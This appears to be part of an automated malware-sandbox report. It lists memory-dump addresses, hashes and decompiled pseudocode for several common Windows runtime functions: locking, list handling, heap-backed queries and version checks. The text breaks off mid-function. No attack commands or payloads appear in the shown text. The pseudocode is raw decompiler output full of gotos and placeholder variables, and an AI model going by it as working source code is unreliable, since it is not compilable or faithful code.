0x03430e4c
0x03430e52
0x03430e61
0x03430e67
0x03430e6b
0x03430e70
0x03430e76
0x03430ed7
0x03430edc
0x03430ee0
0x03430ee6
0x03430eea
0x03430eed
0x03430ef0
0x03430ef3
0x03430ef6
0x03430ef9
0x03430efb
0x03430efe
0x03430f01
0x03430f01
0x03430f0b
0x03430f12
0x03430f16
0x03430f18
0x03430f18
0x03430f1b
0x03430f2c
0x03430f31
0x03430f31
0x03430f35
0x03430f39
0x03430f3a
0x03430f3c
0x03430f3c
0x03430f3f
0x03430f50
0x03430f55
0x03430f55
0x03430f59
0x033d52eb
0x033d52f1
0x033d52f1
0x03430e7d
0x03430e84
0x03430e88
0x03430e8a
0x03430e8a
0x03430e8d
0x03430e9e
0x03430ea3
0x03430ea3
0x03430ea7
0x03430eaf
0x03430eb3
0x03430eb9
0x03430eb9
0x03430ebc
0x03430ecd
0x03430ecd
0x00000000
0x03430eb3
0x03430e1e
0x03430e21
0x03430e25
0x03430e2b
0x03430e2f
0x03430e30
0x03430e3a
0x03430e3f
0x03430e41
0x00000000
0x00000000
0x03430e47
0x00000000
0x03430e47
0x03430df9
0x03430dfe
0x00000000
0x00000000
0x00000000
0x03430dfe
0x033d5303
0x033d5307
0x00000000
0x033d5309
0x00000000
0x033d5309
0x033d5307
0x033d52e9
0x033d52e9
0x00000000
0x033d52e9
0x033d530e
0x00000000

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8c3340b1b523a69b28eb11995d228c69eefb5a54be47900488c615eed656dd3
Instruction ID: 9f98d7b31ff29dd4a748a432e9605ff184948f505769591aa8651ae8aa03fa15
Opcode Fuzzy Hash: d8c3340b1b523a69b28eb11995d228c69eefb5a54be47900488c615eed656dd3
Instruction Fuzzy Hash: F251DF362057429FE321DF64C881B27BBE8FF49710F180A2EE4959F691E770E804CB96

Uniqueness

Uniqueness Score: -1.00%

Function 033EEF40, Relevance: .1, Instructions: 147
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E033EEF40(intOrPtr __ecx) {
				char _v5;
				char _v6;
				char _v7;
				char _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t58;
				char _t59;
				signed char _t69;
				void* _t73;
				signed int _t74;
				char _t79;
				signed char _t81;
				signed int _t85;
				signed int _t87;
				intOrPtr _t90;
				signed char* _t91;
				void* _t92;
				signed int _t94;
				void* _t96;

				_t90 = __ecx;
				_v16 = __ecx;
				if(( *(__ecx + 0x14) & 0x04000000) != 0) {
					_t58 =  *((intOrPtr*)(__ecx));
					if(_t58 != 0xffffffff &&  *((intOrPtr*)(_t58 + 8)) == 0) {
						E033D9080(_t73, __ecx, __ecx, _t92);
					}
				}
				_t74 = 0;
				_t96 =  *0x7ffe036a - 1;
				_v12 = 0;
				_v7 = 0;
				if(_t96 > 0) {
					_t74 =  *(_t90 + 0x14) & 0x00ffffff;
					_v12 = _t74;
					_v7 = _t96 != 0;
				}
				_t79 = 0;
				_v8 = 0;
				_v5 = 0;
				while(1) {
					L4:
					_t59 = 1;
					L5:
					while(1) {
						if(_t59 == 0) {
							L12:
							_t21 = _t90 + 4; // 0x770bc21e
							_t87 =  *_t21;
							_v6 = 0;
							if(_t79 != 0) {
								if((_t87 & 0x00000002) != 0) {
									goto L19;
								}
								if((_t87 & 0x00000001) != 0) {
									_v6 = 1;
									_t74 = _t87 ^ 0x00000003;
								} else {
									_t51 = _t87 - 2; // -2
									_t74 = _t51;
								}
								goto L15;
							} else {
								if((_t87 & 0x00000001) != 0) {
									_v6 = 1;
									_t74 = _t87 ^ 0x00000001;
								} else {
									_t26 = _t87 - 4; // -4
									_t74 = _t26;
									if((_t74 & 0x00000002) == 0) {
										_t74 = _t74 - 2;
									}
								}
								L15:
								if(_t74 == _t87) {
									L19:
									E033D2D8A(_t74, _t90, _t87, _t90);
									_t74 = _v12;
									_v8 = 1;
									if(_v7 != 0 && _t74 > 0x64) {
										_t74 = _t74 - 1;
										_v12 = _t74;
									}
									_t79 = _v5;
									goto L4;
								}
								asm("lock cmpxchg [esi], ecx");
								if(_t87 != _t87) {
									_t74 = _v12;
									_t59 = 0;
									_t79 = _v5;
									continue;
								}
								if(_v6 != 0) {
									_t74 = _v12;
									L25:
									if(_v7 != 0) {
										if(_t74 < 0x7d0) {
											if(_v8 == 0) {
												_t74 = _t74 + 1;
											}
										}
										_t38 = _t90 + 0x14; // 0x0
										_t39 = _t90 + 0x14; // 0x0
										_t85 = ( *_t38 ^ _t74) & 0x00ffffff ^  *_t39;
										if( *((intOrPtr*)( *[fs:0x30] + 0x64)) == 1) {
											_t85 = _t85 & 0xff000000;
										}
										 *(_t90 + 0x14) = _t85;
									}
									 *((intOrPtr*)(_t90 + 0xc)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
									 *((intOrPtr*)(_t90 + 8)) = 1;
									return 0;
								}
								_v5 = 1;
								_t87 = _t74;
								goto L19;
							}
						}
						_t94 = _t74;
						_v20 = 1 + (0 | _t79 != 0x00000000) * 2;
						if(_t74 == 0) {
							goto L12;
						} else {
							_t91 = _t90 + 4;
							goto L8;
							L9:
							while((_t81 & 0x00000001) != 0) {
								_t69 = _t81;
								asm("lock cmpxchg [edi], edx");
								if(_t69 != _t81) {
									_t81 = _t69;
									continue;
								}
								_t90 = _v16;
								goto L25;
							}
							asm("pause");
							_t94 = _t94 - 1;
							if(_t94 != 0) {
								L8:
								_t81 =  *_t91;
								goto L9;
							} else {
								_t90 = _v16;
								_t79 = _v5;
								goto L12;
							}
						}
					}
				}
			}

0x033eef4b
0x033eef4d
0x033eef57
0x033ef0bd
0x033ef0c2
0x033ef0d2
0x033ef0d2
0x033ef0c2
0x033eef5d
0x033eef5f
0x033eef67
0x033eef6a
0x033eef6d
0x033eef74
0x033eef7f
0x033eef82
0x033eef82
0x033eef86
0x033eef88
0x033eef8c
0x033eef8f
0x033eef8f
0x033eef8f
0x00000000
0x033eef91
0x033eef93
0x033eefc4
0x033eefc4
0x033eefc4
0x033eefca
0x033eefd0
0x033ef0a6
0x00000000
0x00000000
0x033ef0af
0x0343bb06
0x0343bb0a
0x033ef0b5
0x033ef0b5
0x033ef0b5
0x033ef0b5
0x00000000
0x033eefd6
0x033eefd9
0x033ef0de
0x033ef0e2
0x033eefdf
0x033eefdf
0x033eefdf
0x033eefe5
0x0343bafc
0x0343bafc
0x033eefe5
0x033eefeb
0x033eefed
0x033ef00f
0x033ef011
0x033ef01a
0x033ef01d
0x033ef021
0x033ef028
0x033ef029
0x033ef029
0x033ef02c
0x00000000
0x033ef02c
0x033eeff3
0x033eeff9
0x033ef0ea
0x033ef0ed
0x033ef0ef
0x00000000
0x033ef0ef
0x033ef003
0x0343bb12
0x033ef045
0x033ef049
0x033ef051
0x033ef09e
0x033ef0a0
0x033ef0a0
0x033ef09e
0x033ef053
0x033ef064
0x033ef064
0x033ef06b
0x0343bb1a
0x0343bb1a
0x033ef071
0x033ef071
0x033ef07d
0x033ef082
0x033ef08f
0x033ef08f
0x033ef009
0x033ef00d
0x00000000
0x033ef00d
0x033eefd0
0x033eef97
0x033eefa5
0x033eefaa
0x00000000
0x033eefac
0x033eefac
0x033eefac
0x00000000
0x033eefb2
0x033ef036
0x033ef03a
0x033ef040
0x033ef090
0x00000000
0x033ef092
0x033ef042
0x00000000
0x033ef042
0x033eefb7
0x033eefb9
0x033eefbc
0x033eefb0
0x033eefb0
0x00000000
0x033eefbe
0x033eefbe
0x033eefc1
0x00000000
0x033eefc1
0x033eefbc
0x033eefaa
0x033eef91

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbecc144452e6e9740e37df579310400ca1de53fcc592e2907188de4c37816b0
Instruction ID: 91056dd5de189ed5c3df557f3bf1a4998092e2199c6feb8b2107070cafb3b2f2
Opcode Fuzzy Hash: fbecc144452e6e9740e37df579310400ca1de53fcc592e2907188de4c37816b0
Instruction Fuzzy Hash: FF51F130E04269DFDB20CB68C4C07AEFBB5AF45314F1A82A9D455973C1D3B9A98AC751

Uniqueness

Uniqueness Score: -1.00%

Function 034A740D, Relevance: .1, Instructions: 141
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E034A740D(intOrPtr __ecx, signed short* __edx, intOrPtr _a4) {
				signed short* _v8;
				intOrPtr _v12;
				intOrPtr _t55;
				void* _t56;
				intOrPtr* _t66;
				intOrPtr* _t69;
				void* _t74;
				intOrPtr* _t78;
				intOrPtr* _t81;
				intOrPtr* _t82;
				intOrPtr _t83;
				signed short* _t84;
				intOrPtr _t85;
				signed int _t87;
				intOrPtr* _t90;
				intOrPtr* _t93;
				intOrPtr* _t94;
				void* _t98;

				_t84 = __edx;
				_t80 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t55 = __ecx;
				_v8 = __edx;
				_t87 =  *__edx & 0x0000ffff;
				_v12 = __ecx;
				_t3 = _t55 + 0x154; // 0x154
				_t93 = _t3;
				_t78 =  *_t93;
				_t4 = _t87 + 2; // 0x2
				_t56 = _t4;
				while(_t78 != _t93) {
					if( *((intOrPtr*)(_t78 + 0x14)) != _t56) {
						L4:
						_t78 =  *_t78;
						continue;
					} else {
						_t7 = _t78 + 0x18; // 0x18
						if(E0342D4F0(_t7, _t84[2], _t87) == _t87) {
							_t40 = _t78 + 0xc; // 0xc
							_t94 = _t40;
							_t90 =  *_t94;
							while(_t90 != _t94) {
								_t41 = _t90 + 8; // 0x8
								_t74 = E0341F380(_a4, _t41, 0x10);
								_t98 = _t98 + 0xc;
								if(_t74 != 0) {
									_t90 =  *_t90;
									continue;
								}
								goto L12;
							}
							_t82 = L033F4620(_t80,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0x18);
							if(_t82 != 0) {
								_t46 = _t78 + 0xc; // 0xc
								_t69 = _t46;
								asm("movsd");
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t85 =  *_t69;
								if( *((intOrPtr*)(_t85 + 4)) != _t69) {
									L20:
									_t82 = 3;
									asm("int 0x29");
								}
								 *((intOrPtr*)(_t82 + 4)) = _t69;
								 *_t82 = _t85;
								 *((intOrPtr*)(_t85 + 4)) = _t82;
								 *_t69 = _t82;
								 *(_t78 + 8) =  *(_t78 + 8) + 1;
								 *(_v12 + 0xdc) =  *(_v12 + 0xdc) | 0x00000010;
								goto L11;
							} else {
								L18:
								_push(0xe);
								_pop(0);
							}
						} else {
							_t84 = _v8;
							_t9 = _t87 + 2; // 0x2
							_t56 = _t9;
							goto L4;
						}
					}
					L12:
					return 0;
				}
				_t10 = _t87 + 0x1a; // 0x1a
				_t78 = L033F4620(_t80,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t10);
				if(_t78 == 0) {
					goto L18;
				} else {
					_t12 = _t87 + 2; // 0x2
					 *((intOrPtr*)(_t78 + 0x14)) = _t12;
					_t16 = _t78 + 0x18; // 0x18
					E0341F3E0(_t16, _v8[2], _t87);
					 *((short*)(_t78 + _t87 + 0x18)) = 0;
					_t19 = _t78 + 0xc; // 0xc
					_t66 = _t19;
					 *((intOrPtr*)(_t66 + 4)) = _t66;
					 *_t66 = _t66;
					 *(_t78 + 8) =  *(_t78 + 8) & 0x00000000;
					_t81 = L033F4620(_t80,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0x18);
					if(_t81 == 0) {
						goto L18;
					} else {
						_t26 = _t78 + 0xc; // 0xc
						_t69 = _t26;
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_t85 =  *_t69;
						if( *((intOrPtr*)(_t85 + 4)) != _t69) {
							goto L20;
						} else {
							 *((intOrPtr*)(_t81 + 4)) = _t69;
							 *_t81 = _t85;
							 *((intOrPtr*)(_t85 + 4)) = _t81;
							 *_t69 = _t81;
							_t83 = _v12;
							 *(_t78 + 8) = 1;
							 *(_t83 + 0xdc) =  *(_t83 + 0xdc) | 0x00000010;
							_t34 = _t83 + 0x154; // 0x1ba
							_t69 = _t34;
							_t85 =  *_t69;
							if( *((intOrPtr*)(_t85 + 4)) != _t69) {
								goto L20;
							} else {
								 *_t78 = _t85;
								 *((intOrPtr*)(_t78 + 4)) = _t69;
								 *((intOrPtr*)(_t85 + 4)) = _t78;
								 *_t69 = _t78;
								 *(_t83 + 0xdc) =  *(_t83 + 0xdc) | 0x00000010;
							}
						}
						goto L11;
					}
				}
				goto L12;
			}

0x034a740d
0x034a740d
0x034a7412
0x034a7413
0x034a7416
0x034a7418
0x034a741c
0x034a741f
0x034a7422
0x034a7422
0x034a7428
0x034a742a
0x034a742a
0x034a7451
0x034a7432
0x034a744f
0x034a744f
0x00000000
0x034a7434
0x034a7438
0x034a7443
0x034a7517
0x034a7517
0x034a751a
0x034a7535
0x034a7520
0x034a7527
0x034a752c
0x034a7531
0x034a7533
0x00000000
0x034a7533
0x00000000
0x034a7531
0x034a754b
0x034a754f
0x034a755c
0x034a755c
0x034a755f
0x034a7560
0x034a7561
0x034a7562
0x034a7563
0x034a7568
0x034a756a
0x034a756c
0x034a756d
0x034a756d
0x034a756f
0x034a7572
0x034a7574
0x034a7577
0x034a757c
0x034a757f
0x00000000
0x034a7551
0x034a7551
0x034a7551
0x034a7553
0x034a7553
0x034a7449
0x034a7449
0x034a744c
0x034a744c
0x00000000
0x034a744c
0x034a7443
0x034a750e
0x034a7514
0x034a7514
0x034a7455
0x034a7469
0x034a746d
0x00000000
0x034a7473
0x034a7473
0x034a7476
0x034a7480
0x034a7484
0x034a748e
0x034a7493
0x034a7493
0x034a7496
0x034a7499
0x034a74a1
0x034a74b1
0x034a74b5
0x00000000
0x034a74bb
0x034a74c1
0x034a74c1
0x034a74c4
0x034a74c5
0x034a74c6
0x034a74c7
0x034a74c8
0x034a74cd
0x00000000
0x034a74d3
0x034a74d3
0x034a74d6
0x034a74d8
0x034a74db
0x034a74dd
0x034a74e0
0x034a74e7
0x034a74ee
0x034a74ee
0x034a74f4
0x034a74f9
0x00000000
0x034a74fb
0x034a74fb
0x034a74fd
0x034a7500
0x034a7503
0x034a7505
0x034a7505
0x034a74f9
0x00000000
0x034a74cd
0x034a74b5
0x00000000

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01a4d08349e29d22493120a27b3d49beb444160764ac4f0ac8d9a4757e3060ec
Instruction ID: 2866fa01c01063994c50cf7a022199cf1a8a6b02223fa81cc7f65879b6245c86
Opcode Fuzzy Hash: 01a4d08349e29d22493120a27b3d49beb444160764ac4f0ac8d9a4757e3060ec
Instruction Fuzzy Hash: 6E519071600A06EFDB25CF58C480A56FBB5FF55304F18C1BAE9089F211E371E946CB94

Uniqueness

Uniqueness Score: -1.00%

Function 03404D3B, Relevance: .1, Instructions: 131
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E03404D3B(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v12;
				char _v176;
				char _v177;
				char _v184;
				intOrPtr _v192;
				intOrPtr _v196;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed short _t42;
				char* _t44;
				intOrPtr _t46;
				intOrPtr _t50;
				char* _t57;
				intOrPtr _t59;
				intOrPtr _t67;
				signed int _t69;

				_t64 = __edx;
				_v12 =  *0x34cd360 ^ _t69;
				_t65 = 0xa0;
				_v196 = __edx;
				_v177 = 0;
				_t67 = __ecx;
				_v192 = __ecx;
				E0341FA60( &_v176, 0, 0xa0);
				_t57 =  &_v176;
				_t59 = 0xa0;
				if( *0x34c7bc8 != 0) {
					L3:
					while(1) {
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_t67 = _v192;
						 *((intOrPtr*)(_t57 + 0x10)) = _a4;
						 *(_t57 + 0x24) =  *(_t57 + 0x24) & 0x00000000;
						 *(_t57 + 0x14) =  *(_t67 + 0x34) & 0x0000ffff;
						 *((intOrPtr*)(_t57 + 0x20)) = _v196;
						_push( &_v184);
						_push(_t59);
						_push(_t57);
						_push(0xa0);
						_push(_t57);
						_push(0xf);
						_t42 = E0341B0B0();
						if(_t42 != 0xc0000023) {
							break;
						}
						if(_v177 != 0) {
							L033F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t57);
						}
						_v177 = 1;
						_t44 = L033F4620(_t59,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v184);
						_t59 = _v184;
						_t57 = _t44;
						if(_t57 != 0) {
							continue;
						} else {
							_t42 = 0xc0000017;
							break;
						}
					}
					if(_t42 != 0) {
						_t65 = E033DCCC0(_t42);
						if(_t65 != 0) {
							L10:
							if(_v177 != 0) {
								if(_t57 != 0) {
									L033F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t57);
								}
							}
							_t46 = _t65;
							L12:
							return E0341B640(_t46, _t57, _v12 ^ _t69, _t64, _t65, _t67);
						}
						L7:
						_t50 = _a4;
						 *((intOrPtr*)(_t67 + 0x30)) =  *((intOrPtr*)(_t57 + 0x18));
						if(_t50 != 3) {
							if(_t50 == 2) {
								goto L8;
							}
							L9:
							if(E0341F380(_t67 + 0xc, 0x33b5138, 0x10) == 0) {
								 *0x34c60d8 = _t67;
							}
							goto L10;
						}
						L8:
						_t64 = _t57 + 0x28;
						E03404F49(_t67, _t57 + 0x28);
						goto L9;
					}
					_t65 = 0;
					goto L7;
				}
				if(E03404E70(0x34c86b0, 0x3405690, 0, 0) != 0) {
					_t46 = E033DCCC0(_t56);
					goto L12;
				} else {
					_t59 = 0xa0;
					goto L3;
				}
			}

0x03404d3b
0x03404d4d
0x03404d53
0x03404d58
0x03404d65
0x03404d6c
0x03404d71
0x03404d77
0x03404d7f
0x03404d8c
0x03404d8e
0x03404dad
0x03404db0
0x03404db7
0x03404db8
0x03404db9
0x03404dba
0x03404dbb
0x03404dc1
0x03404dc8
0x03404dcc
0x03404dd5
0x03404dde
0x03404ddf
0x03404de0
0x03404de1
0x03404de6
0x03404de7
0x03404de9
0x03404df3
0x00000000
0x00000000
0x03446c7c
0x03446c8a
0x03446c8a
0x03446c9d
0x03446ca7
0x03446cac
0x03446cb2
0x03446cb9
0x00000000
0x03446cbf
0x03446cbf
0x00000000
0x03446cbf
0x03446cb9
0x03404dfb
0x03446ccf
0x03446cd3
0x03404e32
0x03404e39
0x03446ce0
0x03446cf2
0x03446cf2
0x03446ce0
0x03404e3f
0x03404e41
0x03404e51
0x03404e51
0x03404e03
0x03404e03
0x03404e09
0x03404e0f
0x03404e57
0x00000000
0x00000000
0x03404e1b
0x03404e30
0x03404e5b
0x03404e5b
0x00000000
0x03404e30
0x03404e11
0x03404e11
0x03404e16
0x00000000
0x03404e16
0x03404e01
0x00000000
0x03404e01
0x03404da5
0x03446c6b
0x00000000
0x03404dab
0x03404dab
0x00000000
0x03404dab

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c1b96cbb6efd17264f621c50425f02d1fb93a3f485e8633bc20b36665c92cf6
Instruction ID: 01c648b75fcc24a2b3f7505f1c68aba9225da123664d9af518508e391339e529
Opcode Fuzzy Hash: 6c1b96cbb6efd17264f621c50425f02d1fb93a3f485e8633bc20b36665c92cf6
Instruction Fuzzy Hash: AD41CE75B40318AFEB21DF15CC80BABB7A9EB45610F0440ABEA599F380D774ED44CA99

Uniqueness

Uniqueness Score: -1.00%

Function 033E8A0A, Relevance: .1, Instructions: 120
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E033E8A0A(intOrPtr* __ecx, signed int __edx) {
				signed int _v8;
				char _v524;
				signed int _v528;
				void* _v532;
				char _v536;
				char _v540;
				char _v544;
				intOrPtr* _v548;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t44;
				void* _t46;
				void* _t48;
				signed int _t53;
				signed int _t55;
				intOrPtr* _t62;
				void* _t63;
				unsigned int _t75;
				signed int _t79;
				unsigned int _t81;
				unsigned int _t83;
				signed int _t84;
				void* _t87;

				_t76 = __edx;
				_v8 =  *0x34cd360 ^ _t84;
				_v536 = 0x200;
				_t79 = 0;
				_v548 = __edx;
				_v544 = 0;
				_t62 = __ecx;
				_v540 = 0;
				_v532 =  &_v524;
				if(__edx == 0 || __ecx == 0) {
					L6:
					return E0341B640(_t79, _t62, _v8 ^ _t84, _t76, _t79, _t81);
				} else {
					_v528 = 0;
					E033EE9C0(1, __ecx, 0, 0,  &_v528);
					_t44 = _v528;
					_t81 =  *(_t44 + 0x48) & 0x0000ffff;
					_v528 =  *(_t44 + 0x4a) & 0x0000ffff;
					_t46 = 0xa;
					_t87 = _t81 - _t46;
					if(_t87 > 0 || _t87 == 0) {
						 *_v548 = 0x33b1180;
						L5:
						_t79 = 1;
						goto L6;
					} else {
						_t48 = E03401DB5(_t62,  &_v532,  &_v536);
						_t76 = _v528;
						if(_t48 == 0) {
							L9:
							E03413C2A(_t81, _t76,  &_v544);
							 *_v548 = _v544;
							goto L5;
						}
						_t62 = _v532;
						if(_t62 != 0) {
							_t83 = (_t81 << 0x10) + (_t76 & 0x0000ffff);
							_t53 =  *_t62;
							_v528 = _t53;
							if(_t53 != 0) {
								_t63 = _t62 + 4;
								_t55 = _v528;
								do {
									if( *((intOrPtr*)(_t63 + 0x10)) == 1) {
										if(E033E8999(_t63,  &_v540) == 0) {
											_t55 = _v528;
										} else {
											_t75 = (( *(_v540 + 0x14) & 0x0000ffff) << 0x10) + ( *(_v540 + 0x16) & 0x0000ffff);
											_t55 = _v528;
											if(_t75 >= _t83) {
												_t83 = _t75;
											}
										}
									}
									_t63 = _t63 + 0x14;
									_t55 = _t55 - 1;
									_v528 = _t55;
								} while (_t55 != 0);
								_t62 = _v532;
							}
							if(_t62 !=  &_v524) {
								L033F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t79, _t62);
							}
							_t76 = _t83 & 0x0000ffff;
							_t81 = _t83 >> 0x10;
						}
						goto L9;
					}
				}
			}

0x033e8a0a
0x033e8a1c
0x033e8a23
0x033e8a2e
0x033e8a30
0x033e8a36
0x033e8a3c
0x033e8a3e
0x033e8a4a
0x033e8a52
0x033e8a9c
0x033e8aae
0x033e8a58
0x033e8a5e
0x033e8a6a
0x033e8a6f
0x033e8a75
0x033e8a7d
0x033e8a85
0x033e8a86
0x033e8a89
0x033e8a93
0x033e8a99
0x033e8a9b
0x00000000
0x033e8aaf
0x033e8abe
0x033e8ac3
0x033e8acb
0x033e8ad7
0x033e8ae0
0x033e8af1
0x00000000
0x033e8af1
0x033e8acd
0x033e8ad5
0x033e8afb
0x033e8afd
0x033e8aff
0x033e8b07
0x033e8b22
0x033e8b24
0x033e8b2a
0x033e8b2e
0x033e8b3f
0x033e8b78
0x033e8b41
0x033e8b52
0x033e8b54
0x033e8b5c
0x033e8b74
0x033e8b74
0x033e8b5c
0x033e8b3f
0x033e8b5e
0x033e8b61
0x033e8b64
0x033e8b64
0x033e8b6c
0x033e8b6c
0x033e8b11
0x03439cd5
0x03439cd5
0x033e8b17
0x033e8b1a
0x033e8b1a
0x00000000
0x033e8ad5
0x033e8a89

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36f81c2b6484c323980ca0c204bf314d1cd28f1bdb497748f4da5f42d1d3de36
Instruction ID: 9775bd7555da67748e069f513a6a97c33b4c6da23b4f94849298523069c3d264
Opcode Fuzzy Hash: 36f81c2b6484c323980ca0c204bf314d1cd28f1bdb497748f4da5f42d1d3de36
Instruction Fuzzy Hash: 54414DB5E403399BDB24DF59DCC8AA9B3B8EB44700F1445EAD8199B291E7709E81CF50

Uniqueness

Uniqueness Score: -1.00%

Function 034569A6, Relevance: .1, Instructions: 108
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E034569A6(signed short* __ecx, void* __eflags) {
				signed int _v8;
				signed int _v16;
				intOrPtr _v20;
				signed int _v24;
				signed short _v28;
				signed int _v32;
				intOrPtr _v36;
				signed int _v40;
				char* _v44;
				signed int _v48;
				intOrPtr _v52;
				signed int _v56;
				char _v60;
				signed int _v64;
				char _v68;
				char _v72;
				signed short* _v76;
				signed int _v80;
				char _v84;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t68;
				intOrPtr _t73;
				signed short* _t74;
				void* _t77;
				void* _t78;
				signed int _t79;
				signed int _t80;

				_v8 =  *0x34cd360 ^ _t80;
				_t75 = 0x100;
				_v64 = _v64 & 0x00000000;
				_v76 = __ecx;
				_t79 = 0;
				_t68 = 0;
				_v72 = 1;
				_v68 =  *((intOrPtr*)( *[fs:0x18] + 0x20));
				_t77 = 0;
				if(L033E6C59(__ecx[2], 0x100, __eflags) != 0) {
					_t79 =  *((intOrPtr*)( *[fs:0x30] + 0x1e8));
					if(_t79 != 0 && E03456BA3() != 0) {
						_push(0);
						_push(0);
						_push(0);
						_push(0x1f0003);
						_push( &_v64);
						if(E03419980() >= 0) {
							E033F2280(_t56, 0x34c8778);
							_t77 = 1;
							_t68 = 1;
							if( *0x34c8774 == 0) {
								asm("cdq");
								 *(_t79 + 0xf70) = _v64;
								 *(_t79 + 0xf74) = 0x100;
								_t75 = 0;
								_t73 = 4;
								_v60 =  &_v68;
								_v52 = _t73;
								_v36 = _t73;
								_t74 = _v76;
								_v44 =  &_v72;
								 *0x34c8774 = 1;
								_v56 = 0;
								_v28 = _t74[2];
								_v48 = 0;
								_v20 = ( *_t74 & 0x0000ffff) + 2;
								_v40 = 0;
								_v32 = 0;
								_v24 = 0;
								_v16 = 0;
								if(E033DB6F0(0x33bc338, 0x33bc288, 3,  &_v60) == 0) {
									_v80 = _v80 | 0xffffffff;
									_push( &_v84);
									_push(0);
									_push(_v64);
									_v84 = 0xfa0a1f00;
									E03419520();
								}
							}
						}
					}
				}
				if(_v64 != 0) {
					_push(_v64);
					E034195D0();
					 *(_t79 + 0xf70) =  *(_t79 + 0xf70) & 0x00000000;
					 *(_t79 + 0xf74) =  *(_t79 + 0xf74) & 0x00000000;
				}
				if(_t77 != 0) {
					E033EFFB0(_t68, _t77, 0x34c8778);
				}
				_pop(_t78);
				return E0341B640(_t68, _t68, _v8 ^ _t80, _t75, _t78, _t79);
			}

0x034569b5
0x034569be
0x034569c3
0x034569c9
0x034569cc
0x034569d1
0x034569d3
0x034569de
0x034569e1
0x034569ea
0x034569f6
0x034569fe
0x03456a13
0x03456a14
0x03456a15
0x03456a16
0x03456a1e
0x03456a26
0x03456a31
0x03456a36
0x03456a37
0x03456a40
0x03456a49
0x03456a4a
0x03456a53
0x03456a59
0x03456a5d
0x03456a5e
0x03456a64
0x03456a67
0x03456a6a
0x03456a6d
0x03456a70
0x03456a77
0x03456a7d
0x03456a86
0x03456a89
0x03456a9c
0x03456a9f
0x03456aa2
0x03456aa5
0x03456aaf
0x03456ab1
0x03456ab8
0x03456ab9
0x03456abb
0x03456abe
0x03456ac5
0x03456ac5
0x03456aaf
0x03456a40
0x03456a26
0x034569fe
0x03456ace
0x03456ad0
0x03456ad3
0x03456ad8
0x03456adf
0x03456adf
0x03456ae8
0x03456aef
0x03456aef
0x03456af9
0x03456b06

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc2b03aa9c371df4d29f0dd33d98ab2fc30671593275f72a87ea5536198df43f
Instruction ID: 59806e178a11562d86e144b9700b62c457a63724ece83b441f24f1d35960b40d
Opcode Fuzzy Hash: dc2b03aa9c371df4d29f0dd33d98ab2fc30671593275f72a87ea5536198df43f
Instruction Fuzzy Hash: D0419CB5E00318AFDB20DFA5C840BEEFBF8EF48304F18812AE914AB251DB749905CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0340A61C, Relevance: .1, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E0340A61C(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t35;
				intOrPtr _t39;
				intOrPtr _t45;
				intOrPtr* _t51;
				intOrPtr* _t52;
				intOrPtr* _t55;
				signed int _t57;
				intOrPtr* _t59;
				intOrPtr _t68;
				intOrPtr* _t77;
				void* _t79;
				signed int _t80;
				intOrPtr _t81;
				char* _t82;
				void* _t83;

